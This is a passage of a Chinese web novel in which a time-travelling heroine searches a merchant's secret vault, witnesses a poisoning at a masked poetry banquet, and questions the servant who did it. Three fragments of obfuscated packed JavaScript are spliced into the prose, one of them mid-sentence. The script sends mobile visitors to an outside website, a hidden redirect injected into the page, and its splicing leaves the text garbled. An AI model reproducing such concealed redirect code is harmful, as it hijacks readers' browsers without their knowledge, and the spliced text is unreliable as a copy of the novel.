四人依次走入石梯口:虞嫦第一个进去,钱绍随后,再是孟望云和方呈白。 这条密道和靖王的相比,显然没有那么多岔路口,它只有一个方向的一条道路。大约半刻钟,四人便走到一处宽敞空间。 里面的书架上空空如也,果然对应上了虞嫦此前所言:“他们带走了很多东西”。 钱绍并非第一次来,甚至可以说她对这里已经驾轻就熟。她走至一面墙前,继续按墙砖,孟望云见状忍不住询问:“令尊这密道和机关,是请哪位师傅所作?” 孟望云的心情,就像是被种草,想要链接疯狂下单。此类链接或应归类为:室内装修,再来个括号,括号里是非寻常的室内装修。 “一位姓墨的高人,”钱绍还真发来了链接,就是这链接已经失效了:“但他已经隐居山林很久了,这密道还是他十年前所作。” 墨姓,姓一听就不简单,果然是高人。靖王的密道很有可能也是这位高人的作品。 等会儿,孟望云打开成就面板,她好像看到过和“墨”字相关的成就。 想到什么来什么,她甫一打开面板,一个成就就跳了出来:35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14783988|157545||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 【成就名称:兼爱非攻-1.1“闻墨”】 【详细描述(达成1.1后可见):皆言隐于林,实为隐于市】 【所获积分:1分(1.1成就所获)】 【注:此成就含1.1、1.2等分支成就】 看来这位高人是隐于民间了,想继续这个成就只能先找到这位高人,而高人在哪名声都不会小。 孟望云关了面板,那边钱绍已经又开启一处密道。四人通过这个密道又来到一处空间,里面依然空空如也。 “还有几条密道?”虞嫦问,一转眼看到钱绍脸色不妙,“这不会是最后一条?” 钱绍蹙眉,“再没有别的密道了。”她快步去其中一处书架,蹲下拉开书架底部的抽屉,里面依然什么也没有。 她没和孟望云等人说的是,在她父亲死前她来过这里,也在这个抽屉里找到了真品。但当时她担心被父亲发现,所以一时没有拿走真品,而是日后寻机再取。 孟望云观察这个空间的格局,这个空间似乎比刚才的空间要小,难道是有隐藏的密室? “钱小姐,不妨你在这四面墙上再开一遍机关?”孟望云提议,“这个房间比方才那间要小很多,或许有密室。” 钱绍依言按了三面墙砖,无事发生,在按第四面墙砖时,“这面墙有问题。” 虞嫦敲了敲墙面,闭目听声道:“空心墙。” 话音未落,虞嫦已经根据声音摸到一块砖,轻而易举就把那块砖拿了下来。 她蹲下身子,从里面掏出一个木匣,递给身侧的孟望云。 孟望云打开木匣,里面是一对眼熟的衔环兽,和靖王的密道钥匙乍一看并无差异。 果然是出自一家,不仅密道风格相似,钥匙模样也相同。 对钥匙的使用方法,孟望云还记忆犹新,四人很快找到其中一面墙上的凹槽。这两处凹槽位置极其隐蔽,放入钥匙后,书架右移,一个密室随之显露。 钱绍和孟望云皆是松了一口气,这个密室里终于不是空空如也了。 密室空间不大,只有三面书架,每一面书架底部都有抽屉。四人挨个抽屉搜寻,发现三个抽屉内各有一个木匣,其中一个红木匣是钱绍母亲遗物,另两个木匣则不知用途。 红木匣里,正是钱绍母亲所告诉她的和田黄玉手镯,它在红木底的映衬下,愈发显得细腻且具光泽。 钱绍看着它,就想到了母亲。她终于拿回母亲的遗物,涌上心头的却非畅快,而是怅惘,不知何去何从。 她望向虞嫦,虞嫦和方呈白在孟望云两侧,正在一起看另两个木匣里的物什。 孟望云自下石梯后,就在思索钱老爷和“睚眦”这伙人的关系。 从钱老爷又弄真品赝品、设计一环套一环的密道密室来看,钱老爷是知晓“睚眦”这伙人存在的,同时他有心防范“睚眦”,那他是否曾也是“睚眦”里的一份子? 孟望云试图推算钱老爷的行为逻辑:他为“睚眦”的头儿打工,又担心“睚眦”的头儿卸磨杀驴,是以没有对“睚眦”交全底——这间密室里书架上的账单就是证明。 这很符合钱老爷的性格,而她手里木匣内的东西又恰巧证明了这一点。 符牌正面是一座楼的形状,背面则刻有鱼鳞纹,鱼麟纹上是钱老爷的姓名“钱汕”。符牌下有一张纸,写着: “治和一年六月,用银壹仟两,睚眦鱼鳞符一张。” 12. 余温 至于另一个木匣里的东西,众人看了亦不知为何物,遂暂且不提。 除钱绍母亲遗物外,孟望云将其余两个木匣收入另一袋中,钱绍对她欲带走钱老爷的东西并无异议:“拿走罢。” 从钱老爷死后,他的东西是各路人马都来分一杯羹。他的儿子争夺他的财产,他的产业被竞争对手吞并,他的下属另寻良木而栖,作树倒猢狲散之状。 还有“睚眦”一派,钱绍前几日就发现了“睚眦”这伙人的踪迹。他们在钱府可谓明目张胆,钱绍心有忌惮,自然也假作无视,是以等他们不再来后才至书房取物。 她不想被卷入漩涡中,而孟望云的气场又似乎和“睚眦”那伙人相似,对孟望云便也颇忌惮,自然是孟望云说什么做什么,只求今夜后与孟望云再无瓜葛。 “钱小姐,”孟望云关上了密室的“门”,也就是书架,把衔环兽状的钥匙递给钱绍,“这既然是令尊之物,便还需钱小姐保管。” 钱绍没接,仿佛这物烫手一般,“孟姊说笑了,这奇物由姐姐先发现,自然是归姐姐。” 虞嫦:这貌似是我先发现的吧。 但见孟望云唇边若有似无的笑意,虞嫦默默咽下想说的话。 钱老爷密室里的账单有很大价值,孟望云是一定要研究的。但这是钱家的东西,还有钱家人在场,于情于理她都得和钱绍好好交流一番。 方才在密室中,她已经存了档。今夜就凭她和方呈白,充其量再说动虞嫦和钱绍,四人依然难以带走全部账单。只能得日后再找帮手,一步步徐徐图之。 四人通过密道返回地上书房,此时已近第二天子时。 虞嫦秉持“从哪来回哪去”的精神,留下一句“江湖再见”就开窗而去,一眨眼就没了影子。 告别了无奈关窗的钱绍,孟望云和方呈白从大门处离开。 趁着夜色,二人又凭借方呈白的盖世轻功顺利回到孟府。 脚落至卧房屋顶,孟望云只觉浑身疲惫,一时不想下去,想坐在屋顶上休息一会儿。 她刚蹲下,就险些滑下屋顶,被方呈白一手握住胳膊,一手握住手腕,拥入怀里抱了回来。 也是因为方呈白握住她的手腕,她才发觉他的手这么温暖,不像她的手易凉。即使他已经松开手掌,她手腕上仍旧残留他的余温。 在十月末的风里,他的手令她想起了暖宝宝贴。 孟望云比别人更容易感觉到冷,在属于寒冬的这几个月里,暖宝宝贴是她常备必备的物品。 尤其是她来生理期,小腹上必须贴一个暖宝宝贴。 这一想,她就想到暖宝宝贴诞生于现代。而她如今在古代,想买暖宝宝贴都没地方买,也不知用什么物品可以替代它。 孟望云百感交集,目光不由自主落在方呈白的手上,这令她想到暖宝宝贴的“罪魁祸首”。 月光温柔,但不明亮,只依稀可以看清手的轮廓。 如野兽在黑林里休憩,因黑林为它掩护,所以它无所顾忌地放松身形,趴在那里显露出庞大身躯。 它又保持着警觉,线条起伏、蓄势待发,仿佛威风凛凛。 她的视线如有实质,似乎触摸到了巨兽的脊背。巨兽嗷呜一声收起利爪,可怜兮兮地蜷了起来,全然不见方才的威风。还在她的抚弄下忍不住抬起头,一拱又一拱。 孟望云轻笑出声,抬眸触到他的眼神,那眼神真能看出一点可怜兮兮的味道。 她假咳一声,只作无事发生,脑子里却仍然在想什么“霸道女总俏男秘”、“女上司和她的青涩男下属”。 意识到自己在想什么,孟望云连忙做了个简短的自我检讨。方呈白兢兢业业、勤勤恳恳地为她打工,她怎么能这么想人家。 如若有最佳员工奖,她一定会颁给方呈白……就是他的手实在赏心悦目,悦得她浑身疲惫都消散了不少。 “下去吧。” 孟望云的声音犹带笑意,方呈白只庆幸这不是白天,有月光的掩护,才没让她瞧见他害羞到通红的耳朵。 回至卧房,方呈白低声告退。孟望云从一处取出紫檀方匣,把带回的十一张账单放了进去,一起放进去的还有钱老爷密室钥匙。 紫檀方匣里头除这两物外,还有墨香轩密室的衔环兽钥匙,只是墨香轩的钥匙是在荷包内。如此一来,两个模样相似的钥匙也便于区分。 另两个从钱老爷密室带出的木匣,则和紫檀方匣收至同一处。 处理好“战利品”,孟望云赶紧上床休息,再不睡就天亮了。 辜月朔日,郝府大门。 离宴会开始还有半个时辰,孟望云坐在马车里,打开存读档面板。 六个档位,1号、2号和3号档位地点在墨香轩院子,其中3号档位最具价值:杀手已逃,方呈白就在旁边,离书房近,只有大火一个危险。 孟望云决定长久保留3号位一段时间,这样可随时从靖王文书里探索情报。 1号和2号位则可日后用其它内容覆盖。4号档位是在茗饮斋询问钱府下人,旁边还有易织春。她决定暂时保留,等郝府宴会过后和1号2号位一样等待被其它内容覆盖。 5号档位,曾在钱老爷书房屋顶使用过,后来发现钱老爷密室后,她就覆盖了原先内容。所以如今5号位是钱老爷的密室,里面有他那些数不尽的账单备份。 6号位是系统每月自动存档,她不准备在这个档位覆盖上其它内容。这个档位可以作为她的底牌,她不会轻易动用。 如此一看,3号、4号和5号位都具备价值,她如今可以任意存档的只有1号和2号位。 孟望云又看了下成就面板,她已经触发的成就有“付之一炬-免付一炬”、“最佳CP-1.1真爱无敌”、“兼爱非攻-1.1‘闻墨’”。 其中第一个成就已完成,第二个和第三个则是连续型长期成就。目前为止,她一共积攒到的积分是4分。 4分,和回现代需要的100分比起来,就像买地铁票需要5元钱,而她的余额只剩2角钱。孟望云关了面板,回现代路漫漫,走一站是一站。 希望在郝府宴会上能成功触发“百鬼见郝”吧,孟望云提起斗志,与崔玟携手下车。 今日宴会主题是“面具”。孟望云佩戴的面具为黑色,崔玟佩戴的是蓝色。两人身后的碧烟佩戴青面,方呈白则戴灰面。 崔玟出示请帖,随后便有灰面的郝府侍从上前,引领四人进府。 孟望云一行人的面具皆较为朴素,面具上并无繁复华丽的图纹。 但其余宾客的面具却各有各的精致,全因在这些少女少男们看来,这场宴会不过与往常一样,仅有的不同只在于需佩戴面具,而“面具”的主题又无疑增添了宴会的有趣性。 郝大人举办的这场宴会,本质类似于诗会文宴。他请各位才女才男来切磋诗艺,再请有地位的诗学大家点评。 又因出席的大多为待嫁贵女与未婚少男,故而“以诗会友”便成了散发魅力的另一种方式。 是以,有的人已卯足了劲,要在这场诗会上大放异彩。不仅是为了搏名声,更是为了寻觅一桩良缘。 女客与男客分席而坐,在孟望云她们抵达席位时,一些先到的贵女已经作上了诗。 崔玟感兴趣地拉孟望云去看。 孟望云默读几首,不由沉默。 这几首竟都是描写靖王夫妇爱情的诗,靖王夫妇的CP粉竟已这么多了吗? 她去看那几位作诗的贵女,虽然大家都戴着面具,但凭那身影和声音,她也认出这几位就是之前当面作同人诗的姑娘们。 懂了,写同人诗会上瘾。 崔玟也意会了诗歌里的一些意象,这些意象也在易织春作的同人文里出现过。 崔玟笑着轻声对她说:“阿云,这是不是就是你说的CP粉?” 孟望云假咳一声,“如今几时了?怎么还没看到郝大人?” 身后的碧烟凑过来,低声回道:“姑娘,离申时还有一刻。” 一刻就是十五分钟。孟望云利用这段时间默默观察女客,同时也在关注男客那边。她试图从众人的行为和语言里揪出细节,再凭借细节捉出几位可疑人物。 孟望云在这打量全场,碧烟在她身侧好奇旁观众人作诗,方呈白则静默立在她身后。因室内也有几位贵女带了男侍,故而方呈白并未引来其余视线。 这仨人脱离宴会独在一方世界,四人中唯一正儿八经受到邀请的崔玟,则在忙于社交。 她的名气,使贵女们隐隐将她当作众人之首,皆欲向她讨教。 随着靖王夫妇的爱情故事广为传播,茗饮斋凭借CP故事和崔玟名气,在京中俨然成为茶馆界的行业巨头。 其它茶馆不甘落后,纷纷朝崔玟递来橄榄枝。没有太大财力的茶馆,则也效仿这类营销方式,请了其她稍逊于崔玟的才女才男作诗。 一时之间,众多主题为茶水的诗歌如雨后春笋,一个个争先恐后地冒了出来。 但这些诗歌中,仍然是崔玟的诗歌为其中最佳,她的才华从来不是虚有其表。 申时,郝大人终于在千呼万唤中出场了。 他戴着一张银色面具,身旁则是他的心腹门客,戴着一张白色面具。 两人身旁还有一位老者,佩戴粉色面具。观其气度,就知此人德高望重。 郝大人隆重介绍了这位老者,是当朝诗学大家,也是都察院右佥都御史,姓严。 三人入座,文宴正式开始。 孟望云思索一番,还是决定在这个时候存个档。打开存读档面板,她存在了1号位,便听郝大人请严大人设立主题。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14785147|157545||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 严大人捋了捋长须,“如今我朝文有贤士、武有良将,皆为忠君爱国之人杰。诸位不妨以‘忠君爱国’为主,各赋诗词。” 男客那边立刻有人出声附和,主题便如此定下。 接着便是众人作诗阶段。 孟望云这个只会写现代作文的假古代人,既不想抄背过的诗词,又不想自己创作。 她充其量只会评诗,这还是因为语文考试有诗词赏析这一项考查,才逐渐培养出这一类众现代学生都有的能力。 于是她端正心态,放松摆烂了,准备一会儿侍女收诗的时候,就当作自己还没有写完,婉拒交诗。 崔玟全然没有此类烦恼,见她一字未写也不意外,毕竟此前的“孟望云”也不擅长作诗。 孟望云不用浪费心力和众人比拼文采,是以她就仔细观察郝大人、他身边的心腹门客与严大人这三人。 郝大人和严大人似乎关系一般,能看出他对严大人十分尊敬,只是严大人对他并不热络。 反倒是他的心腹,和严大人互动频繁,似乎较为熟稔,对严大人的态度随意居多,严大人对其竟也并无怠慢。 待诗词交上去后,则由一位灰面的侍从念出诗词,以由众人一起评析。 孟望云注意到,郝府的下人无论性别,都戴灰色的面具。 灰面侍从刚念出一首诗,郝大人便唤来一位灰面侍女倒酒。灰面侍女替他倒完酒后,又面向严大人欲倒酒,严大人拒绝后,便转向郝大人的心腹。 郝大人喝了酒。 过了一刻钟,郝大人的心腹举起酒杯,先向严大人致意,却未与郝大人示意,便将酒喝下。 孟望云收回目光,打量周围。大家桌上都有酒壶,且样式相同,似乎并无不妥。 众人正在兴高采烈地评析诗词,忽听一声尖叫。只见众目睽睽之下,郝大人捂住心脏,有红色血迹从银面下蜿蜒流出。 郝大人的心腹连忙扶住他,场面一时混乱至极。 孟望云皱了皱眉,紧盯这二人。 郝大人心腹似乎并不慌张,他唤来几个灰面侍从,一起护着郝大人直至里屋。行至半路,郝大人的心腹也抬手捂住心口,倒下了。 场面更加混乱,到处都是吵嚷声、尖叫声。 一个未戴面具的男子冲过来,叫了一些侍从,护着郝大人进了里屋。 过了一会儿,这个男子又出来控制场面。 他似乎是郝府的管家,郝府的下人在他的指挥下不再乱成一团,很快就有人被他派去衙门报案。 此时距宴席开始,还未到半个时辰,就似乎已经死了两个人。 之所以是似乎,则是孟望云不确定那两人还有没有救。 男客那边远比女客要骚乱,有人大声嚷嚷,“袁管家,这是怎么回事?” 也有浅问一句严大人安危的,“袁管家,严大人是否安好?难不成宴席上有欲夺我等性命者?” “袁管家,宴会还要继续进行吗?今日不如就到此为止,改日再寻良辰与诸位相聚……” 袁管家和严大人说了什么,严大人点了点头。 待严大人点头后,袁管家趁势散了宴会,并声称: “今日未料想到那大盗竟敢在郝府行刺,鄙人已派人去报案,明日起便会通缉那大盗。还请诸位放心。” 男客那边又隐隐骚乱起来,“大盗?难道是作恶于钱府的那位?” “什么大盗?兄台快与我细说……” 灰面侍从如来时那样,引领众位宾客出府。 孟望云回眸去看,见严大人正和袁管家说着什么。严大人还戴着面具,是以看不出他是什么表情。 崔玟小声问:“阿云,我们要不要留下来?严大人还在那里,他会不会受到大盗波及?” 孟望云摇了摇头,“阿玟,你和碧烟先去车上等我。” 方呈白眼巴巴看着她,如果他有尾巴,这时候或许已经摇起来了。 孟望云笑了笑,“你跟我过来。” 方才那灰面侍女倒酒,郝大人先喝,郝大人心腹后喝,和两人死亡的先后顺序对应。 她心下已经有了判断,也在人群里找到了目标,便带着方呈白走出人流。 那目标人物亦是女客,戴红面具。 孟望云能注意到她,还是因为在作诗阶段,这人和孟望云一样没怎么动笔。 并且对方也在观察别人,两人中途对上了好几次眼神。那人第一次是惊讶,第二次第三次的眼神则仿佛在说“怎么又是你”。 那女客手里拽着一个灰面侍女,拐了个弯。孟望云和方呈白紧随其后,却找不到那二人身影,不知那二人消失在了哪里。 下一瞬,孟望云身后响起一个熟悉的女声: “和我玩‘螳螂捕蝉,黄雀在后’是吧?” 13. 送炭 一道身影掠至孟望云身前,是方呈白。他如原野上护卫领土主人的兽,任何一点风吹草动都令他如临大敌。 女客还拽着灰面侍女,和孟望云等二人隐隐形成对峙之势。 “几日不见,如隔三秋。”孟望云此言宛若明示,从钱老爷密室出来后至今,不过几日,“虞姑娘别来无恙?” 她一边说,一边拍拍方呈白的背,后者会意退回她身后。 虞嫦冷哼一声,将灰面侍女推至孟望云身前不远处,对灰面侍女道:“这处隐蔽,有什么话就说罢。” 这侍女正是给郝大人和其心腹倒酒的侍女,她低头垂眸道:“我没有什么可说的。” “不说说酒里毒是怎么下的?”虞嫦眯眼,“那什么管家都去衙门报案了,你可别打量着把罪名安到‘玄鱼大盗’头上。” 这话戳中了侍女的心防。 她本意就如虞嫦所说,让大盗背上钱府凶手的身份。事情发展也是十分顺利,袁管家和众宾客皆认为此事乃大盗所为。 毕竟留在钱府的“辜月酉时,百鬼见郝”,可是把矛头直指郝大人。 侍女似乎打定主意做闷葫芦,不发一言。 孟望云思虑一瞬,道:“你不是郝府的侍女。” 虽然郝府下人都佩戴灰面和同色衣物,但倒酒的侍女和她人在行为举止上略有不同。别人对郝府更熟悉,行为举止都十分自然,这符合她们“郝府下人”的身份。 而侍女不一样,她在倒酒前和倒酒后,动作都有停顿。她的眼神也和别的侍从有异,别的侍从训练有素,对宾客恭敬且不多看,而她则有较为明显对宾客的打量。 这是孟望云观察众人捕捉到的细节。若侍女遇到的真是专心来参与文宴的宾客,或许没有人会注意到一个不起眼的侍女。 可惜她遇到的孟望云和虞嫦,皆是在文宴里摸鱼的“混子”。 侍女悄然握紧拳,依旧不说话。 “你家小姐或许还等在郝府门口,”孟望云作势让方呈白去大门处找人:“方呈白,你去大门看看是哪家小姐还没走。” 侍女闻言惶然抬头,立刻跪了下来,“此事仅我一人所为,和她人毫无干系!” 孟望云蹙眉,伸手把她扶起:“起来说话。你若有什么苦衷,尽管告诉我们……” 虞嫦刷了一波存在感:“谁和你是‘我们’?” 孟望云笑笑,接着说道:“我们帮你报仇。” “不用了,他已经死了……” 侍女悲凉地大笑,但表情很快僵硬了。 只因孟望云的一句话:“他不是你真正的仇家。” “什么意思?”问出这话的不是侍女,而是虞嫦。 她和侍女一样惊讶不解,而她惊讶不解的点和侍女还不同。侍女是震惊孟望云所言蕴含的深意,她是震惊孟望云怎么这么快就和侍女对上了频道,她似乎也没错过什么吧。 好似别人已经在解数学大题的第二小题了,她还停留在第一道只做了一半:她知晓侍女杀了人,也在宴席上注意到侍女不对劲儿,但这怎么和侍女报仇、还报错仇扯上关系? 侍女就不能是因为姓郝的偷她东西,所以她才下毒把人毒死吗?不过这种可能性倒也算是仇,虞嫦严肃思考,又连忙跟上第二小题讲解过程。 孟望云解析思路:“郝大人是奉命行事,他背后的人才是你的仇敌。” 郝大人很可能和钱老爷钱汕一样,也属于“睚眦”一派,他们背后的人便是“睚眦”的老大。 那假盗又是谁的人? 孟望云对此曾难以推算答案,经历今日之事,她方恍然大悟。 钱汕死于假盗之手,假盗又留下八个字。如今看来,这八个字既像是为郝府凶案的凶手做掩护,不论是谁杀了郝大人,都会把锅推给“玄鱼大盗”;又似是在引燃郝大人的焦虑,令其自乱阵脚。 乍一看,这假盗似乎和“睚眦”并无关联。 那八个字就是在说明“姓郝的你性命不保”,但有钱汕这个先“睚眦人”死在前面,郝大人这个现“睚眦人”死于“睚眦”之手,也并无不合理之处。 生杀大权,可都是在“睚眦”手上,而非钱汕和郝大人足以定夺。 孟望云继续说:“即使郝大人死了,还会有下一个‘郝大人’,或是姓张,或是姓王,不论姓什么,都会继续为幕后之人作伥鬼。” 就连钱汕,他死了,“睚眦”难道不会再找一个富商“要钱”吗?去向不明的账难道不会继续出现? “睚眦”的麾下,又岂止一个“钱老爷”、一个“郝大人”? “参天之树,盘根错节,岂受一叶飘落之损?”孟望云看着侍女,眼神复杂,“而你却要因此面临牢狱之灾,你甘心吗?” 不知听者心情如何,孟望云说完亦心有郁结。任谁发现自己距仇敌有天堑,皆会奔愤于自己是蚍蜉撼树。 虞嫦和侍女两脸震惊,旁听的方呈白亦不例外。 只是虞嫦和方呈白还在努力解析过程中,震惊于已经有人得出结论,而侍女则是震惊于结论本身。 侍女的眼神变得坚定,“我不甘心。” 她没有问这“幕后之人”是谁。郝大人已经是官,那幕后之人必然是更遥不可及的达官显贵。思及此处,无力感再她心头更漫上一层。 可若就此放弃,又置她的伙伴于何地? 她抬眸:“冤有头债有主,此仇不报,我荆芥愧立于天地之间。” 荆芥又一次跪了下来,仰头望着孟望云:“还请女郎帮我。” 不知不觉间,她已泪流两行,“荆芥为报此仇,甘愿付出性命。女郎之恩,荆芥来世当牛做马,定衔草相报。” 没有人生来就会跪着。比这更悲哀的是,草芥是干枯还是腐烂,并不会得到参天之树的一分垂怜。树向天,又岂会投给草芥半个眼神? “我说过,”孟望云蹲下身和她平视,笑意如春日第一缕阳光照在人 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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醉乐楼是一处青楼,原身知道这个,还是有御史弹劾某位官员夜夜流连醉乐楼,闹得满城皆知。 “和我一起被掳进楼里的,还有一位姑娘,她是我的同乡。”荆芥说着,泪如雨下,“我们不想再被任人玩乐,于是相约一同逃出这魔窟。” “我们捉住机会,逃出了楼。但看守我们的人很快就追了上来,她被抓了回去,而我则机缘巧合下被一位小姐救了命。” 荆芥惨笑,“等我养好伤,再去打听她的消息,就听说醉乐楼有好几个姑娘都……” 她抹干泪水,却仍哽咽,一时难以继续诉说:“她们的尸体被扔到了乱葬岗。” “我去了乱葬岗,找到了她的尸体。她尸体附近,都是我在楼里遇到的姐妹。她们有的也是被掳进来的清白人家的姑娘,有的则是被父母卖进来换了银子的,可如今她们都成了乱葬岗里的尸体……” 荆芥似笑非笑,似哭非哭,“而我却还活着。”